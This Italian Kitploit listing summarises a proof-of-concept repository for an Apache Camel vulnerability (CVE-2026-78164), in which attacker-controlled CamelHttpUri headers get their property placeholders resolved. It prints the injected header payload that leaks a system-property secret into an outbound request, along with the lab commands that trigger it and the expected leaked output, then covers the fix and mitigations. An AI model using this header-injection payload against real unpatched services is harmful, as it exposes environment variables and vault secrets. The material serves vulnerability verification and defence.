Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-78164 — Proof-of-concept eseguibile per CVE-2026-78164, che dimostra la fuga di segreti quando i producer HTTP di Apache Camel risolvono i segnaposto delle proprietà negli header CamelHttpUri forniti dall'attaccante. | Kitploit
Strumenti/GitHubGitHub/oscerd/cve-2026-78164
Strumenti DifensiviAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebEsfiltrazione DatiRaccolta InformazioniApprendimento e Formazione
GitHuboscerd/cve-2026-78164

CVE-2026-78164

Proof-of-concept eseguibile per CVE-2026-78164, che dimostra la fuga di segreti quando i producer HTTP di Apache Camel risolvono i segnaposto delle proprietà negli header CamelHttpUri forniti dall'attaccante.

Vedi Repository
12 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-78164 — I producer HTTP di Camel risolvono i segnaposto delle proprietà sulle intestazioni URI fornite nei messaggi

Reproduttore proof-of-concept eseguibile per la vulnerabilità di Apache Camel in cui le famiglie di producer HTTP consentono a un messaggio in ingresso di sovrascrivere l'URI dell'endpoint tramite le intestazioni CamelHttpUri e CamelRestHttpUri, e successivamente passavano quella stringa fornita nel messaggio attraverso CamelContext.resolvePropertyPlaceholders() prima di utilizzarla.

La risoluzione dei segnaposto delle proprietà è una funzionalità di risoluzione della configurazione, non una fase di parsing dell'URI. Raggiunge le variabili d'ambiente del sistema operativo, le proprietà di sistema della JVM, ogni PropertiesFunction sul classpath (incluse le funzioni secret di AWS, Azure, GCP, HashiCorp, IBM, CyberArk e Kubernetes) e — tramite camel-bean — l'invocazione di un metodo senza argomenti su qualsiasi bean nel registry. Applicarla a contenuti Exchange influenzati dall'attaccante trasforma una stringa URI in un contesto di valutazione di configurazione e bean. L'autore della route non ha aderito a nulla di tutto ciò: un semplice to("http://backend/api") statico era sufficiente.

RuntimeDirectoryStack
Camel Spring Bootcamel-spring-boot/Spring Boot 3.5.13 + camel-http 4.22.0 (affetto; corretto in 4.22.1)
Camel Quarkuscamel-quarkus/Quarkus 3.29.0 + camel-quarkus-http 3.29.0 (Camel 4.15.0, affetto)

Il comportamento precede la linea 4.x (risale a camel-http4 / camel-netty4), quindi ogni release affetta e il Camel 4.15.0 nell'ultimo Camel Quarkus sono vulnerabili. La correzione è inclusa in Camel 4.18.5 / 4.22.1 / 4.23.0; il modulo Spring Boot esegue sia la build affetta (4.22.0) sia la build corretta (4.22.1). Nessun Camel Quarkus rilasciato include ancora un Camel corretto.

Cosa dimostra

La route è un semplice to("http://127.0.0.1:9100/collect") statico che punta a un collector locale. L'attaccante imposta l'intestazione CamelHttpUri su un URI che trasporta un token di segnaposto di proprietà — senza conoscere il valore del segreto, solo nominando la chiave:

CamelHttpUri: http://127.0.0.1:9100/collect?leak={{sys:cve78164.secret}}

L'app inizializza una proprietà di sistema JVM cve78164.secret per rappresentare qualsiasi valore di configurazione o segreto del vault. Nella build affetta il producer risolve il placeholder prima che la richiesta venga inviata, quindi il collector vede il segreto nella query in uscita. Nella build corretta il token viene inoltrato letteralmente.

cd camel-spring-boot
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down

Output atteso sulla build interessata:

Outbound request observed by the collector:
    GET /collect?leak=S3CR3T-cve78164-do-not-leak

>>> PROVEN: the {{sys:...}} placeholder in the attacker-supplied CamelHttpUri was resolved,
>>> expanding the secret 'S3CR3T-cve78164-do-not-leak' into the outbound request.

Sulla build corretta il collector vede invece GET /collect?leak={{sys:cve78164.secret}} (letterale, non risolto).

Riepilogo della vulnerabilità

ProprietàValore
Componentecamel-http / camel-http-common / camel-vertx-http / camel-undertow / camel-netty-http
CWECWE-1336 (Improper Neutralization of Special Elements Used in a Template Engine), CWE-200 (Information Exposure)
GravitàALTA
Vettore di attaccoHeader di override CamelHttpUri / CamelRestHttpUri contenente un token {{...}}; il body/gli header non sono limitati da bridgeEndpoint, e diversi consumer popolano CamelHttpUri dalla request line come funzionalità di reverse-proxy
ImpattoEspansione di variabili d'ambiente, proprietà di sistema e segreti del vault nella richiesta in uscita; invocazione senza argomenti di bean del registry; un oracolo per chiavi di configurazione impostate/non impostate tramite l'errore restituito
Versioni interessateDalla 4.0.0 precedente alla 4.18.5, dalla 4.19.0 precedente alla 4.22.1 (il comportamento è antecedente alla 4.x)
Versioni corrette4.18.5, 4.22.1, 4.23.0
JIRACAMEL-24418
Credito[email protected]

Advisory: https://camel.apache.org/security/CVE-2026-78164.html

La correzione

La chiamata resolvePropertyPlaceholders() per singolo messaggio viene rimossa in ogni punto interessato, quindi un token {{...}} che compare solo in CamelHttpUri o CamelRestHttpUri viene ora trattato come parte letterale dell'URI. I placeholder nell'URI dell'endpoint della route stessa non sono interessati — vengono risolti una sola volta, in fase di build, quando l'endpoint viene creato.

Mitigazione se non puoi aggiornare

Rimuovi gli header di override al confine di fiducia prima del producer con removeHeader("CamelHttpUri") e removeHeader("CamelRestHttpUri"), oppure imposta skipControlHeaders=true sugli endpoint camel-http (l'unico componente che offre tale opzione). bridgeEndpoint=true non è una soluzione alternativa. Applica una HeaderFilterStrategy inbound rigorosa sui consumer esposti a mittenti non attendibili, e risolvi i segreti tramite un vault anziché tramite variabili d'ambiente o proprietà di sistema che un placeholder può nominare.

Disclaimer

Questo repository è pubblicato per scopi educativi e difensivi: per aiutare gli utenti di Apache Camel a comprendere la vulnerabilità, verificare se sono interessati e confermare che l'aggiornamento la risolve. Il "secret" è un fixture locale inerte. Non utilizzare questo materiale contro sistemi di cui non sei proprietario o gestore.

Scarica lo strumento